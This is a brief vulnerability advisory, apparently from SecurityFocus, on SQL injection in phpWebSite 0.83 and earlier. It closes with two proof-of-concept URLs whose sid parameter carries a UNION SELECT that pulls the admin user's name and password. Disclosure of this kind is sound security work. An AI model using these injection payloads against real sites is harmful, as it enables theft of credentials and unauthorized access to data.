source: http://www.securityfocus.com/bid/17150/info

phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Versions 0.83 and prior are vulnerable.

http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1